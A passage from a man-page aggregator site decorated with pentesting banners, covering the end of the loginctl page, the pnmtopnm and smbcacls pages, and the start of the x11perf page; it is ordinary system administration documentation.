Show terse runtime status information about one or more seats. Takes one or more seat names as parameters. If no seat names are passed the status of the callers sessions seat is shown. This function is intended to generate human-readable output. If you are looking for computer-parsable output, use show-seat instead.

Added in version 233.

show-seat [NAME…]

Show properties of one or more seats or the manager itself. If no argument is specified, properties of the manager will be shown. If a seat is specified, properties of the seat are shown. By default, empty properties are suppressed. Use –all to show those too. To select specific properties to show, use –property=. This command is intended to be used whenever computer-parsable output is required. Use seat-status if you are looking for formatted human-readable output.

Added in version 233.

attach NAME DEVICE

Persistently attach one or more devices to a seat. The devices should be specified via device paths in the /sys/ file system. To create a new seat, attach at least one graphics card to a previously unused seat name. Seat names may consist only of a–z, A–Z, 0–9, “-” and “_” and must be prefixed with “seat”. To drop assignment of a device to a specific seat, just reassign it to a different seat, or use flush-devices.

Added in version 233.

flush-devices

Removes all device assignments previously created with attach. After this call, only automatically generated seats will remain, and all seat hardware is assigned to them.

terminate-seat NAME

Terminates all sessions on a seat. This kills all processes of all sessions on the seat and deallocates all runtime resources attached to them.

Added in version 233.

OPTIONS

The following options are understood:

–no-ask-password

Do not query the user for authentication for privileged operations.

-p, –property=

When showing session/user/seat properties, limit display to certain properties as specified as argument. If not specified, all set properties are shown. The argument should be a property name, such as “Sessions”. If specified more than once, all properties with the specified names are shown.

–value

When showing session/user/seat properties, only print the value, and skip the property name and “=”.

Added in version 230.

-a, –all

When showing session/user/seat properties, show all properties regardless of whether they are set or not.

-l, –full

Do not ellipsize process tree entries.

Added in version 198.

–kill-whom=

When used with kill-session, choose which processes to kill. Takes one of “leader” or “all”, to select whether to kill only the leader process of the session or all processes of the session. If omitted, defaults to all.

Added in version 252.

-s, –signal=

When used with kill-session or kill-user, choose which signal to send to selected processes. Must be one of the well known signal specifiers, such as SIGTERM, SIGINT or SIGSTOP. If omitted, defaults to SIGTERM.

The special value “help” will list the known values and the program will exit immediately, and the special value “list” will list known values along with the numerical signal numbers and the program will exit immediately.

-n, –lines=

When used with user-status and session-status, controls the number of journal lines to show, counting from the most recent ones. Takes a positive integer argument. Defaults to 10.

Added in version 219.

-o, –output=

When used with user-status and session-status, controls the formatting of the journal entries that are shown. For the available choices, see journalctl(1). Defaults to “short”.

Added in version 219.

-H, –host=

Execute the operation remotely. Specify a hostname, or a username and hostname separated by “@”, to connect to. The hostname may optionally be suffixed by a port ssh is listening on, separated by “:”, and then a container name, separated by “/”, which connects directly to a specific container on the specified host. This will use SSH to talk to the remote machine manager instance. Container names may be enumerated with machinectl -H HOST. Put IPv6 addresses in brackets.

-M, –machine=

Execute operation on a local container. Specify a container name to connect to, optionally prefixed by a user name to connect as and a separating “@” character. If the special string “.host” is used in place of the container name, a connection to the local system is made (which is useful to connect to a specific users user bus: “–user –[email protected]”). If the “@” syntax is not used, the connection is made as root user. If the “@” syntax is used either the left hand side or the right hand side may be omitted (but not both) in which case the local user name and “.host” are implied.

–no-pager

Do not pipe output into a pager.

–no-legend

Do not print the legend, i.e. column headers and the footer with hints.

**–json=**MODE

Shows output formatted as JSON. Expects one of “short” (for the shortest possible output without any redundant whitespace or line breaks), “pretty” (for a pretty version of the same, with indentation and line breaks) or “off” (to turn off JSON output, the default).

-j

Equivalent to –json=pretty if running on a terminal, and –json=short otherwise.

-h, –help

Print a short help text and exit.

–version

Print a short version string and exit.

EXIT STATUS

On success, 0 is returned, a non-zero failure code otherwise.

EXAMPLES

Example 1. Querying user status

$ loginctl user-status fatima (1005) Since: Sat 2016-04-09 14:23:31 EDT; 54min ago State: active Sessions: 5 *3 Unit: user-1005.slice ├─[email protected] … ├─session-3.scope … └─session-5.scope ├─3473 login – fatima └─3515 -zsh

Apr 09 14:40:30 laptop login[2325]: pam_unix(login:session):
                       session opened for user fatima by LOGIN(uid=0)
Apr 09 14:40:30 laptop login[2325]: LOGIN ON tty3 BY fatima

There are two sessions, 3 and 5. Session 3 is a graphical session, marked with a star. The tree of processing including the two corresponding scope units and the user manager unit are shown.

ENVIRONMENT

$SYSTEMD_LOG_LEVEL

The maximum log level of emitted messages (messages with a higher log level, i.e. less important ones, will be suppressed). Takes a comma-separated list of values. A value may be either one of (in order of decreasing importance) emerg, alert, crit, err, warning, notice, info, debug, or an integer in the range 0…7. See syslog(3) for more information. Each value may optionally be prefixed with one of console, syslog, kmsg or journal followed by a colon to set the maximum log level for that specific log target (e.g. SYSTEMD_LOG_LEVEL=debug,console:info specifies to log at debug level except when logging to the console which should be at info level). Note that the global maximum log level takes priority over any per target maximum log levels.

$SYSTEMD_LOG_COLOR

A boolean. If true, messages written to the tty will be colored according to priority.

This setting is only useful when messages are written directly to the terminal, because journalctl(1) and other tools that display logs will color messages based on the log level on their own.

$SYSTEMD_LOG_TIME

A boolean. If true, console log messages will be prefixed with a timestamp.

This setting is only useful when messages are written directly to the terminal or a file, because journalctl(1) and other tools that display logs will attach timestamps based on the entry metadata on their own.

$SYSTEMD_LOG_LOCATION

A boolean. If true, messages will be prefixed with a filename and line number in the source code where the message originates.

Note that the log location is often attached as metadata to journal entries anyway. Including it directly in the message text can nevertheless be convenient when debugging programs.

$SYSTEMD_LOG_TID

A boolean. If true, messages will be prefixed with the current numerical thread ID (TID).

Note that the this information is attached as metadata to journal entries anyway. Including it directly in the message text can nevertheless be convenient when debugging programs.

$SYSTEMD_LOG_TARGET

The destination for log messages. One of console (log to the attached tty), console-prefixed (log to the attached tty but with prefixes encoding the log level and “facility”, see syslog(3), kmsg (log to the kernel circular log buffer), journal (log to the journal), journal-or-kmsg (log to the journal if available, and to kmsg otherwise), auto (determine the appropriate log target automatically, the default), null (disable log output).

$SYSTEMD_LOG_RATELIMIT_KMSG

Whether to ratelimit kmsg or not. Takes a boolean. Defaults to “true”. If disabled, systemd will not ratelimit messages written to kmsg.

$SYSTEMD_PAGER

Pager to use when –no-pager is not given; overrides $PAGER. If neither $SYSTEMD_PAGER nor $PAGER are set, a set of well-known pager implementations are tried in turn, including less(1) and more(1), until one is found. If no pager implementation is discovered no pager is invoked. Setting this environment variable to an empty string or the value “cat” is equivalent to passing –no-pager.

Note: if $SYSTEMD_PAGERSECURE is not set, $SYSTEMD_PAGER (as well as $PAGER) will be silently ignored.

$SYSTEMD_LESS

Override the options passed to less (by default “FRSXMK”).

Users might want to change two options in particular:

K

This option instructs the pager to exit immediately when Ctrl+C is pressed. To allow less to handle Ctrl+C itself to switch back to the pager command prompt, unset this option.

If the value of $SYSTEMD_LESS does not include “K”, and the pager that is invoked is less, Ctrl+C will be ignored by the executable, and needs to be handled by the pager.

X

This option instructs the pager to not send termcap initialization and deinitialization strings to the terminal. It is set by default to allow command output to remain visible in the terminal even after the pager exits. Nevertheless, this prevents some pager functionality from working, in particular paged output cannot be scrolled with the mouse.

Note that setting the regular $LESS environment variable has no effect for less invocations by systemd tools.

See less(1) for more discussion.

$SYSTEMD_LESSCHARSET

Override the charset passed to less (by default “utf-8”, if the invoking terminal is determined to be UTF-8 compatible).

Note that setting the regular $LESSCHARSET environment variable has no effect for less invocations by systemd tools.

$SYSTEMD_PAGERSECURE

Takes a boolean argument. When true, the “secure” mode of the pager is enabled; if false, disabled. If $SYSTEMD_PAGERSECURE is not set at all, secure mode is enabled if the effective UID is not the same as the owner of the login session, see geteuid(2) and sd_pid_get_owner_uid(3). In secure mode, LESSSECURE=1 will be set when invoking the pager, and the pager shall disable commands that open or create new files or start new subprocesses. When $SYSTEMD_PAGERSECURE is not set at all, pagers which are not known to implement secure mode will not be used. (Currently only less(1) implements secure mode.)

Note: when commands are invoked with elevated privileges, for example under sudo(8) or pkexec(1), care must be taken to ensure that unintended interactive features are not enabled. “Secure” mode for the pager may be enabled automatically as describe above. Setting SYSTEMD_PAGERSECURE=0 or not removing it from the inherited environment allows the user to invoke arbitrary commands. Note that if the $SYSTEMD_PAGER or $PAGER variables are to be honoured, $SYSTEMD_PAGERSECURE must be set too. It might be reasonable to completely disable the pager using –no-pager instead.

$SYSTEMD_COLORS

Takes a boolean argument. When true, systemd and related utilities will use colors in their output, otherwise the output will be monochrome. Additionally, the variable can take one of the following special values: “16”, “256” to restrict the use of colors to the base 16 or 256 ANSI colors, respectively. This can be specified to override the automatic decision based on $TERM and what the console is connected to.

$SYSTEMD_URLIFY

The value must be a boolean. Controls whether clickable links should be generated in the output for terminal emulators supporting this. This can be specified to override the decision that systemd makes based on $TERM and other conditions.

SEE ALSO

systemd(1), systemctl(1), systemd-logind.service(8), logind.conf(5)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

630 - Linux cli command pnmtopnm

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pnmtopnm and provides detailed information about the command pnmtopnm, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pnmtopnm.

.

NAME 🖥️ pnmtopnm 🖥️

copy a PNM image

SYNOPSIS

pnmtopnm

[pnmfile]

DESCRIPTION

This program is part of Netpbm(1) .

pnmtopnm simply copies a PNM image to Standard Output. The output has the same major PNM format (PBM, PGM, or PPM) and maxval as the input. This may seem an unnecessary duplication of cat, but it lets you convert between the plain (ASCII) and raw (binary) subformats of PNM. Use the -plain Netpbm common option to ensure the output is plain PNM, and don’t use -plain to ensure the output is raw PNM. See Common Options .

You don’t normally need to convert between the PNM subformats, because any program that uses the Netpbm library to read a PNM image will read all of them directly. But there are a lot of programs that don’t use the Netpbm library and understand only the raw format. Plain format is nice because it is human readable; people often use it to debug programs that process PNM images.

pnmtopnm is really just another name for the program pamtopnm. The latter does the job because like any Netpbm program that takes PAM input via the Netpbm programming library facilities, it also takes PNM input.

OPTIONS

There are no command line options defined specifically for pnmtopnm, but it recognizes the options common to all programs based on libnetpbm (See Common Options .)

HISTORY

pnmtopnm was new in Netpbm 10.23 (July 2004). It obsoleted pnmtoplainpnm, which specifically did the conversion to plain PNM. There was no program to explicitly convert to raw PNM, but many Netpbm programs can be made, with the right options, to be idempotent (i.e. to do the same thing as pnmtopnm).

Then David Jones realized that the existing pamtopnm already did everything that pnmtopnm did and more, so in Netpbm 10.27 (March 2005), pnmtopnm became simply an alternate name for pamtopnm.

SEE ALSO

ppmtoppm(1) pgmtopgm(1) pamtopnm(1) pnm(1)

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pnmtopnm.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

631 - Linux cli command smbcacls

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command smbcacls and provides detailed information about the command smbcacls, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the smbcacls.

NAME 🖥️ smbcacls 🖥️

Set or get ACLs on an NT file or directory names

SYNOPSIS

smbcacls {//server/share} {/filename} [-D|–delete=ACL] [-M|–modify=ACL] [-a|–add=ACL] [-S|–set=ACLS] [-C|–chown=USERNAME] [-G|–chgrp=GROUPNAME] [-I|–inherit=STRING] [–recurse] [–propagate-inheritance] [–save=savefile] [–restore=restorefile] [–numeric] [–sddl] [–query-security-info=INT] [–set-security-info=INT] [-t|–test-args] [–domain-sid=SID] [-x|–maximum-access] [-?|–help] [–usage] [-d|–debuglevel=DEBUGLEVEL] [–debug-stdout] [–configfile=CONFIGFILE] [–option=name=value] [-l|–log-basename=LOGFILEBASE] [–leak-report] [–leak-report-full] [-R|–name-resolve=NAME-RESOLVE-ORDER] [-O|–socket-options=SOCKETOPTIONS] [-m|–max-protocol=MAXPROTOCOL] [-n|–netbiosname=NETBIOSNAME] [–netbios-scope=SCOPE] [-W|–workgroup=WORKGROUP] [–realm=REALM] [-U|–user=[DOMAIN/]USERNAME[%PASSWORD]] [-N|–no-pass] [–password=STRING] [–pw-nt-hash] [-A|–authentication-file=FILE] [-P|–machine-pass] [–simple-bind-dn=DN] [–use-kerberos=desired|required|off] [–use-krb5-ccache=CCACHE] [–use-winbind-ccache] [–client-protection=sign|encrypt|off] [-V|–version]

DESCRIPTION

This tool is part of the samba(7) suite.

The smbcacls program manipulates NT Access Control Lists (ACLs) on SMB file shares. An ACL comprises zero or more Access Control Entries (ACEs), which define access restrictions for a specific user or group.

OPTIONS

The following options are available to the smbcacls program. The format of ACLs is described in the section ACL FORMAT

-a|–add acl

Add the entries specified to the ACL. Existing access control entries are unchanged.

-M|–modify acl

Modify the mask value (permissions) for the ACEs specified on the command line. An error will be printed for each ACE specified that was not already present in the objects ACL.

-D|–delete acl

Delete any ACEs specified on the command line. An error will be printed for each ACE specified that was not already present in the objects ACL.

-S|–set acl

This command sets the ACL on the object with only what is specified on the command line. Any existing ACL is erased. Note that the ACL specified must contain at least a revision, type, owner and group for the call to succeed.

-C|–chown name

The owner of a file or directory can be changed to the name given using the -C option. The name can be a sid in the form S-1-x-y-z or a name resolved against the server specified in the first argument.

This command is a shortcut for -M OWNER:name.

-G|–chgrp name

The group owner of a file or directory can be changed to the name given using the -G option. The name can be a sid in the form S-1-x-y-z or a name resolved against the server specified n the first argument.

This command is a shortcut for -M GROUP:name.

-I|–inherit allow|remove|copy

Set or unset the windows “Allow inheritable permissions” check box using the -I option. To set the check box pass allow. To unset the check box pass either remove or copy. Remove will remove all inherited ACEs. Copy will copy all the inherited ACEs.

–propagate-inheritance

Add, modify, delete or set ACEs on an entire directory tree according to the inheritance flags. Refer to the INHERITANCE section for details.

–save savefile

stores the DACLs in sddl format of the specified file or folder for later use with restore. SACLS, owner or integrity labels are not stored.

–restore savefile

applies the stored DACLS to files in directory.

–recurse

indicates the operation is performed on directory and all files/directories below. (only applies to save option)

–numeric

This option displays all ACL information in numeric format. The default is to convert SIDs to names and ACE types and masks to a readable string format.

-m|–max-protocol PROTOCOL_NAME

This allows the user to select the highest SMB protocol level that smbcacls will use to connect to the server. By default this is set to NT1, which is the highest available SMB1 protocol. To connect using SMB2 or SMB3 protocol, use the strings SMB2 or SMB3 respectively. Note that to connect to a Windows 2012 server with encrypted transport selecting a max-protocol of SMB3 is required.

-t|–test-args

Dont actually do anything, only validate the correctness of the arguments.

–query-security-info FLAGS

The security-info flags for queries.

–set-security-info FLAGS

The security-info flags for queries.

–sddl

Output and input acls in sddl format.

–domain-sid SID

SID used for sddl processing.

-x|–maximum-access

When displaying an ACL additionally query the server for effective maximum permissions. Note that this is only supported with SMB protocol version 2 or higher.

-?|–help

Print a summary of command line options.

–usage

Display brief usage message.

-d|–debuglevel=DEBUGLEVEL

level is an integer from 0 to 10. The default value if this parameter is not specified is 1 for client applications.

The higher this value, the more detail will be logged to the log files about the activities of the server. At level 0, only critical errors and serious warnings will be logged. Level 1 is a reasonable level for day-to-day running - it generates a small amount of information about operations carried out.

Levels above 1 will generate considerable amounts of log data, and should only be used when investigating a problem. Levels above 3 are designed for use only by developers and generate HUGE amounts of log data, most of which is extremely cryptic.

Note that specifying this parameter here will override the log level parameter in the /etc/samba/smb.conf file.

–debug-stdout

This will redirect debug output to STDOUT. By default all clients are logging to STDERR.

–configfile=<configuration file>

The file specified contains the configuration details required by the client. The information in this file can be general for client and server or only provide client specific like options such as client smb encrypt. See /etc/samba/smb.conf for more information. The default configuration file name is determined at compile time.

–option=<name>=<value>

Set the smb.conf(5) option “<name>” to value “<value>” from the command line. This overrides compiled-in defaults and options read from the configuration file. If a name or a value includes a space, wrap whole –option=name=value into quotes.

-l|–log-basename=logdirectory

Base directory name for log/debug files. The extension ".progname" will be appended (e.g. log.smbclient, log.smbd, etc…). The log file is never removed by the client.

–leak-report

Enable talloc leak reporting on exit.

–leak-report-full

Enable full talloc leak reporting on exit.

-V|–version

Prints the program version number.

-R|–name-resolve=NAME-RESOLVE-ORDER

This option is used to determine what naming services and in what order to resolve host names to IP addresses. The option takes a space-separated string of different name resolution options. The best is to wrap the whole –name-resolve=NAME-RESOLVE-ORDER into quotes.

The options are: “lmhosts”, “host”, “wins” and “bcast”. They cause names to be resolved as follows:

·

lmhosts: Lookup an IP address in the Samba lmhosts file. If the line in lmhosts has no name type attached to the NetBIOS name (see the lmhosts(5) for details) then any name type matches for lookup.

·

host: Do a standard host name to IP address resolution, using the system /etc/hosts, NIS, or DNS lookups. This method of name resolution is operating system dependent, for instance on IRIX or Solaris this may be controlled by the /etc/nsswitch.conf file). Note that this method is only used if the NetBIOS name type being queried is the 0x20 (server) name type, otherwise it is ignored.

·

wins: Query a name with the IP address listed in the wins server parameter. If no WINS server has been specified this method will be ignored.

·

bcast: Do a broadcast on each of the known local interfaces listed in the interfaces parameter. This is the least reliable of the name resolution methods as it depends on the target host being on a locally connected subnet.

If this parameter is not set then the name resolve order defined in the /etc/samba/smb.conf file parameter (name resolve order) will be used.

The default order is lmhosts, host, wins, bcast. Without this parameter or any entry in the name resolve order parameter of the /etc/samba/smb.conf file, the name resolution methods will be attempted in this order.

-O|–socket-options=SOCKETOPTIONS

TCP socket options to set on the client socket. See the socket options parameter in the /etc/samba/smb.conf manual page for the list of valid options.

-m|–max-protocol=MAXPROTOCOL

The value of the parameter (a string) is the highest protocol level that will be supported by the client.

Note that specifying this parameter here will override the client max protocol parameter in the /etc/samba/smb.conf file.

-n|–netbiosname=NETBIOSNAME

This option allows you to override the NetBIOS name that Samba uses for itself. This is identical to setting the netbios name parameter in the /etc/samba/smb.conf file. However, a command line setting will take precedence over settings in /etc/samba/smb.conf.

–netbios-scope=SCOPE

This specifies a NetBIOS scope that nmblookup will use to communicate with when generating NetBIOS names. For details on the use of NetBIOS scopes, see rfc1001.txt and rfc1002.txt. NetBIOS scopes are very rarely used, only set this parameter if you are the system administrator in charge of all the NetBIOS systems you communicate with.

-W|–workgroup=WORKGROUP

Set the SMB domain of the username. This overrides the default domain which is the domain defined in smb.conf. If the domain specified is the same as the servers NetBIOS name, it causes the client to log on using the servers local SAM (as opposed to the Domain SAM).

Note that specifying this parameter here will override the workgroup parameter in the /etc/samba/smb.conf file.

-r|–realm=REALM

Set the realm for the domain.

Note that specifying this parameter here will override the realm parameter in the /etc/samba/smb.conf file.

-U|–user=[DOMAIN\USERNAME[%PASSWORD]

Sets the SMB username or username and password.

If %PASSWORD is not specified, the user will be prompted. The client will first check the USER environment variable (which is also permitted to also contain the password separated by a %), then the LOGNAME variable (which is not permitted to contain a password) and if either exists, the value is used. If these environmental variables are not found, the username found in a Kerberos Credentials cache may be used.

A third option is to use a credentials file which contains the plaintext of the username and password. This option is mainly provided for scripts where the admin does not wish to pass the credentials on the command line or via environment variables. If this method is used, make certain that the permissions on the file restrict access from unwanted users. See the -A for more details.

Be cautious about including passwords in scripts or passing user-supplied values onto the command line. For security it is better to let the Samba client tool ask for the password if needed, or obtain the password once with kinit.

While Samba will attempt to scrub the password from the process title (as seen in ps), this is after startup and so is subject to a race.

-N|–no-pass

If specified, this parameter suppresses the normal password prompt from the client to the user. This is useful when accessing a service that does not require a password.

Unless a password is specified on the command line or this parameter is specified, the client will request a password.

If a password is specified on the command line and this option is also defined the password on the command line will be silently ignored and no password will be used.

–password

Specify the password on the commandline.

Be cautious about including passwords in scripts or passing user-supplied values onto the command line. For security it is better to let the Samba client tool ask for the password if needed, or obtain the password once with kinit.

If –password is not specified, the tool will check the PASSWD environment variable, followed by PASSWD_FD which is expected to contain an open file descriptor (FD) number.

Finally it will check PASSWD_FILE (containing a file path to be opened). The file should only contain the password. Make certain that the permissions on the file restrict access from unwanted users!

While Samba will attempt to scrub the password from the process title (as seen in ps), this is after startup and so is subject to a race.

–pw-nt-hash

The supplied password is the NT hash.

-A|–authentication-file=filename

This option allows you to specify a file from which to read the username and password used in the connection. The format of the file is:

			username = <value>
				password = <value>
				domain   = <value>

Make certain that the permissions on the file restrict access from unwanted users!

-P|–machine-pass

Use stored machine account password.

–simple-bind-dn=DN

DN to use for a simple bind.

–use-kerberos=desired|required|off

This parameter determines whether Samba client tools will try to authenticate using Kerberos. For Kerberos authentication you need to use dns names instead of IP addresses when connecting to a service.

Note that specifying this parameter here will override the client use kerberos parameter in the /etc/samba/smb.conf file.

–use-krb5-ccache=CCACHE

Specifies the credential cache location for Kerberos authentication.

This will set –use-kerberos=required too.

–use-winbind-ccache

Try to use the credential cache by winbind.

–client-protection=sign|encrypt|off

Sets the connection protection the client tool should use.

Note that specifying this parameter here will override the client protection parameter in the /etc/samba/smb.conf file.

In case you need more fine grained control you can use: –option=clientsmbencrypt=OPTION, –option=clientipcsigning=OPTION, –option=clientsigning=OPTION.

ACL FORMAT

The format of an ACL is one or more entries separated by either commas or newlines. An ACL entry is one of the following:

REVISION:<revision number>
OWNER:<sid or name>
GROUP:<sid or name>
ACL:<sid or name>:<type>/<flags>/<mask>

Control bits related to automatic inheritance

·

OD - “Owner Defaulted” - Indicates that the SID of the owner of the security descriptor was provided by a default mechanism.

·

GD - “Group Defaulted” - Indicates that the SID of the security descriptor group was provided by a default mechanism.

·

DP - “DACL Present” - Indicates a security descriptor that has a discretionary access control list (DACL).

·

DD - “DACL Defaulted” - Indicates a security descriptor with a default DACL.

·

SP - “SACL Present” - Indicates a security descriptor that has a system access control list (SACL).

·

SD - “SACL Defaulted” - A default mechanism, rather than the original provider of the security descriptor, provided the SACL.

·

DT - “DACL Trusted”

·

SS - “Server Security”

·

DR - “DACL Inheritance Required” - Indicates a required security descriptor in which the DACL is set up to support automatic propagation of inheritable access control entries (ACEs) to existing child objects.

·

SR - “SACL Inheritance Required” - Indicates a required security descriptor in which the SACL is set up to support automatic propagation of inheritable ACEs to existing child objects.

·

DI - “DACL Auto Inherited” - Indicates a security descriptor in which the DACL is set up to support automatic propagation of inheritable access control entries (ACEs) to existing child objects.

·

SI - “SACL Auto Inherited” - Indicates a security descriptor in which the SACL is set up to support automatic propagation of inheritable ACEs to existing child objects.

·

PD - “DACL Protected” - Prevents the DACL of the security descriptor from being modified by inheritable ACEs.

·

PS - “SACL Protected” - Prevents the SACL of the security descriptor from being modified by inheritable ACEs.

·

RM - “RM Control Valid” - Indicates that the resource manager control is valid.

·

SR - “Self Relative” - Indicates a self-relative security descriptor.

The revision of the ACL specifies the internal Windows NT ACL revision for the security descriptor. If not specified it defaults to 1. Using values other than 1 may cause strange behaviour.

The owner and group specify the owner and group sids for the object. If a SID in the format S-1-x-y-z is specified this is used, otherwise the name specified is resolved using the server on which the file or directory resides.

ACEs are specified with an “ACL:” prefix, and define permissions granted to an SID. The SID again can be specified in S-1-x-y-z format or as a name in which case it is resolved against the server on which the file or directory resides. The type, flags and mask values determine the type of access granted to the SID.

The type can be either ALLOWED or DENIED to allow/deny access to the SID.

The flags field defines how the ACE should be considered when performing inheritance. smbcacls uses these flags when run with –propagate-inheritance.

Flags can be specified as decimal or hexadecimal values, or with the respective (XX) aliases, separated by a vertical bar “|”.

·

(OI) Object Inherit 0x1

·

(CI) Container Inherit 0x2

·

(NP) No Propagate Inherit 0x4

·

(IO) Inherit Only 0x8

·

(I) ACE was inherited 0x10

The mask is a value which expresses the access right granted to the SID. It can be given as a decimal or hexadecimal value, or by using one of the following text strings which map to the NT file permissions of the same name.

·

R - Allow read access

·

W - Allow write access

·

X - Execute permission on the object

·

D - Delete the object

·

P - Change permissions

·

O - Take ownership

The following combined permissions can be specified:

·

READ - Equivalent to RX permissions

·

CHANGE - Equivalent to RXWD permissions

·

FULL - Equivalent to RWXDPO permissions

INHERITANCE

Per-ACE inheritance flags can be set in the ACE flags field. By default, inheritable ACEs e.g. those marked for object inheritance (OI) or container inheritance (CI), are not propagated to sub-files or folders. However, with the –propagate-inheritance argument specified, such ACEs are automatically propagated according to some inheritance rules.

·

Inheritable (OI)(OI) ACE flags can only be applied to folders.

·

Any inheritable ACEs applied to sub-files or folders are marked with the inherited (I) flag. Inheritable ACE(s) are applied to folders unless the no propagation (NP) flag is set.

·

When an ACE with the (OI) flag alone set is propagated to a child folder the inheritance only flag (IO) is also applied. This indicates the permissions associated with the ACE dont apply to the folder itself (only to its child files). When applying the ACE to a child file the ACE is inherited as normal.

·

When an ace with the (CI) flag alone set is propagated to a child file there is no effect, when propagated to a child folder it is inherited as normal.

·

When an ACE that has both (OI) & (CI) flags set the ACE is inherited as normal by both folders and files.

(OI)(READ) added to parent folder

+-parent/ (OI)(READ) | +-file.1 (I)(READ) | +-nested/ (OI)(IO)(I)(READ) | +-file.2 (I)(READ)

(CI)(READ) added to parent folder

+-parent/ (CI)(READ) | +-file.1 | +-nested/ (CI)(I)(READ) | +-file.2

(OI)(CI)(READ) added to parent folder

+-parent/ (OI)(CI)(READ) | +-file.1 (I)(READ) | +-nested/ (OI)(CI)(I)(READ) | +-file.2 (I)(READ)

(OI)(NP)(READ) added to parent folder

+-oi_dir/ (OI)(NP)(READ) | +-file.1 (I)(READ) | +-nested/ | +-file.2

(CI)(NP)(READ) added to parent folder

+-oi_dir/ (CI)(NP)(READ) | +-file.1 | +-nested/ (I)(READ) | +-file.2

(OI)(CI)(NP)(READ) added to parent folder

+-parent/ (CI)(OI)(NP)(READ) | +-file.1 (I)(READ) | +-nested/ (I)(READ) | +-file.2

Files and folders with protected ACLs do not allow inheritable permissions (set with -I). Such objects will not receive ACEs flagged for inheritance with (CI) or (OI).

EXIT STATUS

The smbcacls program sets the exit status depending on the success or otherwise of the operations performed. The exit status may be one of the following values.

If the operation succeeded, smbcacls returns and exit status of 0. If smbcacls couldnt connect to the specified server, or there was an error getting or setting the ACLs, an exit status of 1 is returned. If there was an error parsing any command line arguments, an exit status of 2 is returned.

VERSION

This man page is part of version 4.20.1-Debian of the Samba suite.

AUTHOR

The original Samba software and related utilities were created by Andrew Tridgell. Samba is now developed by the Samba Team as an Open Source project similar to the way the Linux kernel is developed.

smbcacls was written by Andrew Tridgell and Tim Potter.

The conversion to DocBook for Samba 2.2 was done by Gerald Carter. The conversion to DocBook XML 4.2 for Samba 3.0 was done by Alexander Bokovoy.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

632 - Linux cli command x11perf

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command x11perf and provides detailed information about the command x11perf, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the x11perf.

NAME 🖥️ x11perf 🖥️

X11 server performance test program

SYNTAX

x11perf [ -option … ]

DESCRIPTION

The x11perf program runs one or more performance tests and reports how fast an X server can execute the tests.

Many graphics benchmarks assume that the graphics device is used to display the output of a single fancy graphics application, and that the user gets his work done on some other device, like a terminal. Such benchmarks usually measure drawing speed for lines, polygons, text, etc.

Since workstations are not used as standalone graphics engines, but as super-terminals, x11perf measures window management performance as well as traditional graphics performance. x11perf includes benchmarks for the time it takes to create and map windows (as when you start up an application); to map a pre-existing set of windows onto the screen (as when you deiconify an application or pop up a menu); and to rearrange windows (as when you slosh windows to and fro trying to find the one you want).

